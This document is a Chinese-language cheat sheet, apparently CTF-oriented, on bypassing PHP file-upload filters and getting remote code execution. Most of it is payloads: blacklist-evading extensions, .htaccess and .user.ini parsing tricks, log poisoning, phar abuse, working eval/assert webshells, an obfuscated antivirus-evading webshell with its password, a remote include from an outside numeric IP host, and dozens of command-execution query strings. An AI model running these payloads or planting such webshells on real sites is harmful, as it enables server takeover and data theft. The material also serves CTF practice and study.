若后端是对后缀名进行黑名单校验,则可以尝试黑名单后缀名的漏网之鱼
jsp:jspx、jspf
asp:asa、cer、aspx
php:php、php3、php4、php5、php7、phtml、pht、phps
(7).htaccess
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>方法一: <FilesMatch "4.png"> SetHandler application/x-httpd-php </FilesMatch> #如果当前目录下有4.png,就会被解析为.php 方法二: AddType application/x-httpd-php .png #如果当前目录下有以.png结尾的文件,就会被解析为.php
(8).user.ini
GIF89a为绕过图片检验
内容:
.user.ini 配置项中有两个配置可以起到一些作用
方法一:
auto_prepend_file = <filename> //包含在文件头
方法二:
auto_append_file = <filename> //包含在文件尾
GIF89a
auto_prepend_file=eval.png
(9)array_map()函数
<?=
array_map("assert",$_REQUEST)
?>
(10)日志包含
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和
/var/log/nginx/error.log
中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。(11) 图片二次渲染
(11) 图片二次渲染
(12)条件竞争
(13)免杀绕过
<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>
连接密码: TyKPuntU
(14)不正常后缀
此处下划线_ 代指空格
Windows系统下,对文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单.
.php .php_
.php._.
Windows系统下,文件后缀名最后一个点会被自动去除。上传 8.php.
.php 8.php.
Windows系统下,如果上传的文件名为`9.php::$DATA`会在服务器上生成一个9.php的文件,其内容和所上传文件内容相同并被解析。
.php
9.php::$DATA利用str_ireplace()将文件名中符合黑名单的字符串替换成空
.php
.pphphp
(15)phar协议
Phar是PHP的归档格式,类似Java的JAR或是.NET的ZIP。Phar文件可以在不需要解压的情况下在PHP中运行。Phar文件可以用于分发PHP代码,就像你分发Python代码时使用的是.pyc或.whl文件。
Phar伪协议是PHP的一个特性,它允许直接从Phar归档中读取文件,而不需要将Phar文件解压。这样可以直接从Phar文件运行PHP脚本,而无需在服务器上物理地提取文件。
也就是说我们可以直接用phar伪协议读取服务器上的压缩包,而不需要先解压再读取
利用条件:1、php版本号在5.3之上 2、php.ini中phar.readonly= Off
?bingdundun=phar://3104e5e6798c3292d8f507456d2aaee5.zip/flag
压缩包里面的文件为:flag.php,,所以 /flag
上传后直接访问即可
对
phar://shell.jpg/shell.php
的解析
phar://shell.zip/shell.php
<?php // 创建一个 Phar 文件 $phar = new Phar('shell.jpg'); $phar->startBuffering(); $phar->addFromString('shell.php', '<?php echo "Hello from shell.php!"; ?>'); $phar->stopBuffering(); // 通过 phar:// 伪协议访问 Phar 文件内部的文件 include 'phar://shell.jpg/shell.php'; ?>
杂列
<?=
array_map("assert",$_REQUEST)
?>
<?= @eval($_REQUEST["cmd"]) ?>
<?php @eval($_REQUEST["cmd"]); ?>
<? system('tac ../f*') ?>
<?=include '/var/l'.'og/nginx/access.l'.'og'?>
<?=`tac ../f*`?>
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
// 此处文件上传变为文件包含,命令执行
include(http://795707305/shell)
system('ls'),('system')('ls'), (system)('ls'),('system')(ls) 都是可以执行的。
$_POST[$a] ($_POST){$a}
使用到的函数有:
base_convert() 函数:在任意进制之间转换数字 hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符 dechex() 函数:把十进制转换为十六进制
base_convert(37907361743,10,36) => "hex2bin" dechex(1598506324) => "5f474554" hex2bin(5f474554)=>"_GET" //hex2bin将一串16进制数转换为二进制字符串 (pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[] base_convert(37907361743,10,36)(dechex(1598506324)) => _GET ,然后赋给pi变量,也就是pi=_GET,
(pi){abs} =>$_GET[abs]
也是说我们可以在pi变量和abs执行系统命令
构造的payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));
(pi){abs})&pi=system&abs=ls%20/
用 ; 替换 ?>
<?=`tac ../flagaa.php`;
图片马制作:
在cmd里执行 **copy logo.jpg/b+test.php/a test.jpg**
#logo.jpg为任意图片;test.php 插入的木马文件;test.jpg 生成的图片木马
move_uploaded_file()会忽略掉文件末尾的 /.,主要作用是将临时文件移到指定的目标路径,并确保文件在移动中不会被删除或覆盖。
PHP5和PHP7的区别
PHP5中,assert()是一个函数,我们可以用$_=assert;$_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。PHP 7.2之后,assert默认不会执行包含副作用的表达式,除非通过assert_options(ASSERT_ACTIVE, 1)激活,并且可能需要设置其他选项来允许执行代码。
PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写('phpinfo')()。
参考
RCE-远程代码执行漏洞_ctf php system 十六进制绕过-优快云博客
?c=echo `ls`;
?c=echo `cat f*`;
?c=echo%09`ls`;
?c=echo%09`tac%09f*`;
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=include$_GET["1"]?>&1=php://input
<?php system('ls');?>
?c=include$_GET["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET["1"]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php
?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php
?c=system("tac f''lag.php");
?c=system("tac f'l'ag.php");
?c=system("tac f``lag.php");
?c=system("tac f*");
?c=system("tac f???.???");
?c=system("tac f[l]ag.php");
?c=system("tac f$@lag.php");
?c=eval($_GET[1]);&1=system('tac flag.php');
?1=system('tac flag.php');&c=eval($_GET[1]);
?1=system('tail flag.php');&c=eval($_GET[1]);
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
exp=eval(end(current(get_defined_vars())));&test=system(ls);